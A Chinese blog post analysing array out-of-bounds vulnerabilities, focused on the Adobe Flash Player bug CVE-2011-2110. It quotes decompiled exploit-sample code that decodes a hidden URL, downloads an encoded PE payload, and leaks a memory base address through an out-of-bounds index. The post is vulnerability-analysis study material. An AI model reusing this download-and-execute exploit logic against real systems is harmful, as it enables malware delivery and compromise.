zoukankan      html  css  js  c++  java
  • 数组越界漏洞(参考<<漏洞战争>>)

    1.简介

    通过访问,写入到超出最大索引的地方导致被利用

    2.CVE-2011-2110-Adobe Flash Player 数组越界索引漏洞

    (1).将swf文件反编译后提取出来分析

    (2)分析源文件

    main函数中:

    var param:Object = root.loaderInfo.parameters;
    //获取并解析参数
    var t_url:ByteArray = this.hexToBin(param["info"]);
    i = 0;
    i = 0;
    while(i < t_url.length)
    {
    t_url[i] = t_url[i] ^ 122;
    i++;
    }
    t_url.uncompress();

    ......

    //下载文件
    loader = new URLLoader();
    loader.dataFormat = URLLoaderDataFormat.BINARY;
    loader.addEventListener(Event.COMPLETE,onLoadComplete);
    loader.load(new URLRequest(t_url.toString()));

    .......

    onLoadComplete = function(param1:Event):void
    {
    content = loader.data;
    i = 0;
    //解析获取到的数据,完了后是个恶意程序
    while(i < content.length)
    {
    content[i] = content[i] ^ 122;
    i++;
    }
    content.uncompress();
    content_len = content.length;
    var _loc2_:ByteArray = new ByteArray();
    code = _loc2_;
    _loc2_.position = 1024 * 1024;
    _loc2_.writeInt(2053274210);
    _loc2_.writeInt(2053339747);
    _loc2_.writeInt(2053405283);
    _loc2_.writeObject(_loc2_);
    //触发漏洞
    test();
    trace(_loc2_.length);
    };

    以上通过获取参数info, 解码后其实就是一个url. 然后通过该url下载一个文件,将文件中的内容解码后是个pe文件. 可以通过自己搭建环境测试

     (3)通过修改样本代码定位漏洞

    对于浏览器漏洞,可以通过修改样本代码使其本来是稳定利用变的不稳定,以便分析

    对于swf文件,可以反编译后修改关键值使ie加载后能发生异常并重新编译成swf文件, 以便分析

    例如,本次实验的代码:

    var _loc8_:uint = 0;
    var _loc2_:Number = new Number(parseFloat(String(rest[1073741838]))); //1073741838=0x4000000E,进行越界索引, 将其修改为其他值直到能发生异常,书上修改的是0x41414141
    var _loc3_:ByteArray = new ByteArray();
    _loc3_.position = 0;
    _loc3_.writeDouble(_loc2_);
    var _loc4_:uint = _loc3_[0] * 16777216 + _loc3_[1] * 65536 + _loc3_[2] * 256 + _loc3_[3];//信息泄露构成基址地址
    this.baseaddr = _loc4_;
    this.code.position = 0;

    这样再附加后就能很方便地分析了.

    CVE-2014-0160-OpenSSL TLS 数组越界访问漏洞(“心脏出血”漏洞)

    未完待续...............

  • 相关阅读:
    Access denied for user 'root'@'localhost' (using password:YES) 解决方案
    MyBatis报错 Parameter '0' not found. Available parameters are [arg1, arg0, param1, param2]
    MySQL类型float double decimal的区别
    数据库--MyBatis的(insert,update,delete)三种批量操作
    mybatis的模糊查询格式
    java 24小时倒计时案例
    Project facet Java version 1.7 is not supported.解决方法
    eclipse中将项目加载到tocat报错:Tomcat version 6.0 only supports J2EE 1.2, 1.3, 1.4, and Java EE 5 Web modules
    网络爬虫的学习
    关于电脑安装多个版本JDK后使用时的切换
  • 原文地址:https://www.cnblogs.com/freesec/p/6444537.html
Copyright © 2011-2022 走看看